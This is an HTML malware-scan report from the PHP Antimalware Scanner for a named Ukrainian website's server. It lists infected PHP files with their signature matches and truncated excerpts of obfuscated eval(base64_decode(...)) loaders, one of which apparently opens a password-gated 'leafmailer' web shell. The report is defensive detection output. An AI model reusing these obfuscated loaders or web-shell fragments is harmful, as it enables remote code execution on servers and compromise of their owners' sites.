<!DOCTYPE html>
<html lang="en">
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title>Scan Report</title>
<link rel="icon" type="image/png" sizes="16x16" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAACxMAAAsTAQCanBgAAAMoSURBVDhPZVPfaxxVFP7u/Mjszsya7KbbRNJ00xehWLCbQvGlfWj/gj4oCHlQH1aEin+Czz7mQdBiiiColD7oi1ow26gVKmqChobmRzXRupWku7PJ7M7s3J+eGVREL3PnXoY553zn+77D8J919eMvmsaYltH6ktZ6TisF2rtaqrbW6tp7Lz239tevxfonwWufLPvGYFEr+fLjbs/qHR4iHgxheS4qlQCh46JsOxpKXVdKvf7R1ReTPM7OX1TVh8FncRxfWb+/xRJmoXpqDokw8CYnEcxMg40HGKmMIR3NG6kuzM2fv7H9dVtYeQKCu0jBF3/a2oEuh2CVCUT9AeCOwQkD+LUqJk7OYvqZMyg9NQuh+cVsEC/msezVm583jTY/rK7fY6rkw6lOAjwDY9Sd7WBydgr1E3X4T/gIxym54uh8+x067btGpKNzFhHV2j84YBkR4IYV2JKDUWVjUXdSwC95ODtdR3WigkrgoeaNIfpxFQc795nkWcsidi93H/fguB6CSohjT06BaQWivmhhLCih79ko8RQbH97Eu88vYOWtt/Hw3jpkll12lBSNJCVC/RA8TWFy2dIhtOUSw4RKpFh9/wNs3P4Sw24X0cY6FBcUrCA4b1hKylxnKCGQ9A9xuH8APhxCxEdIOg9x550lrN1aQf/3PxBtbhLhBsym9iwLWnBQArHnOQ5UNiq2HBzRyYuTkxcU4RhFEZJHvxWuYdRqfvGCEJKLPSvt9ZZLzEAM4iKjJiSKTn7Ux7Czh/jnLbpHcMdrsIgTy3ULBEHtGCGXy/apc892ILLWo+1NlnQJfpIR9D2M6C6pFfIIPN9H5Xi9UCYvZOfyzpw0MOYV69M331hTnC/NTE8R7AFEtE8KGHIXPSQtGQJOuYz66adJVknVc280cg8tba7cWius3Jg/v8xgLpQdpxFHPchcDWrDkCcMBYlhjOjBNhR9r9aPY8wrfUXQFnq//iKKBLvf3xUnzjRvEEdTYbl0linJ/ibVECe20SgReePVmrZse4mwLTz45nYxTP8b5+aVF5payhbJe4lOGudC5l1ybJuqXtu50/7XOAN/Ar01xcqF8C92AAAAAElFTkSuQmCC" />
<meta name='viewport' content='width=device-width, initial-scale=1'>
<!-- JQuery -->
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.4/jquery.min.js" crossorigin="anonymous"></script>
<!-- Bootstrap -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css" crossorigin="anonymous">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.11.6/umd/popper.min.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.2.3/js/bootstrap.min.js" crossorigin="anonymous"></script>
<!-- Font Awesome -->
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" crossorigin="anonymous">
<!-- Google Fonts -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700&display=swap">
<!-- MDB -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.20.0/css/mdb.min.css">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.20.0/js/mdb.min.js"></script>
<!-- Datatables -->
<link rel="stylesheet" href="https://cdn.datatables.net/1.10.23/css/dataTables.bootstrap4.min.css" crossorigin="anonymous">
<script type="text/javascript" src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.10.23/js/dataTables.bootstrap4.min.js" crossorigin="anonymous"></script>
<style type="text/css">
body{padding-top:3.7rem;overflow-x:hidden}.table code{overflow-wrap:break-word;word-break:break-word;hyphens:auto}.table>tbody>tr>th{vertical-align:middle}.table>tbody>tr>td p{line-height:100%}#report>tbody>tr>td table td+td{width:50%}#report>tbody>tr{cursor:pointer}#report .dataTables_wrapper{cursor:auto}.dataTables_wrapper{margin-top:1rem}.badge-fileinfo{color:#222!important;background-color:rgba(0,0,0,.05)!important}.pagination .page-item.active .page-link{border-radius:100%;width:35px;height:35px;text-align:center;line-height:35px;padding:0}#back-top{display:none;position:fixed;bottom:20px;border-radius:100%;right:30px;z-index:99;border:none;outline:0;color:#fff;cursor:pointer;vertical-align:middle;padding:0;line-height:50px;font-size:18px;height:50px;width:50px}#back-top:hover{background-color:#555!important}
</style>
<script type="text/javascript">
function expandAll(){$("#report .dataTables_wrapper").show()}function collapseAll(){$("#report .dataTables_wrapper").hide()}function scrollToTop(){document.body.scrollTop=0,document.documentElement.scrollTop=0}!function(o){o(function(){o("#report tr").click(function(t){o(this).find("#report tr table, .dataTables_wrapper").toggle()}),o("#report tr table, #report .dataTables_wrapper").click(function(o){o.stopPropagation()}),window.onscroll=function(){document.body.scrollTop>20||document.documentElement.scrollTop>20?o("#back-top").show():o("#back-top").hide()}})}(jQuery);
</script>
</head>
<body>
<nav class="navbar navbar-dark bg-dark fixed-top">
<div class="container-fluid">
<span class="navbar-brand">
<a href="https://github.com/marcocesarato/PHP-Antimalware-Scanner" class="text-white" target="_blank">
<i class="fab fa-github mr-3"></i>
PHP Antimalware Scanner
</a>
</span>
<span>
<button class="btn btn-sm btn-primary rounded-pill" onclick="expandAll()"><i class="fas fa-expand mr-3"></i> Expand All</button>
<button class="btn btn-sm btn-danger rounded-pill" onclick="collapseAll()"><i class="fas fa-compress mr-3"></i> Collapse All</button>
<a href="https://github.com/marcocesarato/PHP-Antimalware-Scanner" target="_blank">
<button class="btn btn-sm btn-secondary rounded-pill"><i class="fab fa-github mr-3"></i> Github</button>
</a>
</span>
</div>
</nav>
<div class="jumbotron p-3 text-white bg-secondary">
<div class="container">
<h1 class="display-3">Report</h1>
<p>
<b>Version:</b> 0.10.4<br>
<b>Scan date:</b> 2026-04-09 15:15:01<br>
<b>Files analyzed:</b> 6440 <b>| Files infected:</b> 411
</p>
</div>
</div>
<div class="container">
<table id="report" class="datatable container table table-bordered"><tbody><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/qkgjg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-02-04 16:45:58</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_0" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_0").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/jmlxk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_1" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_1").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ocxrh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:00</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_2" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
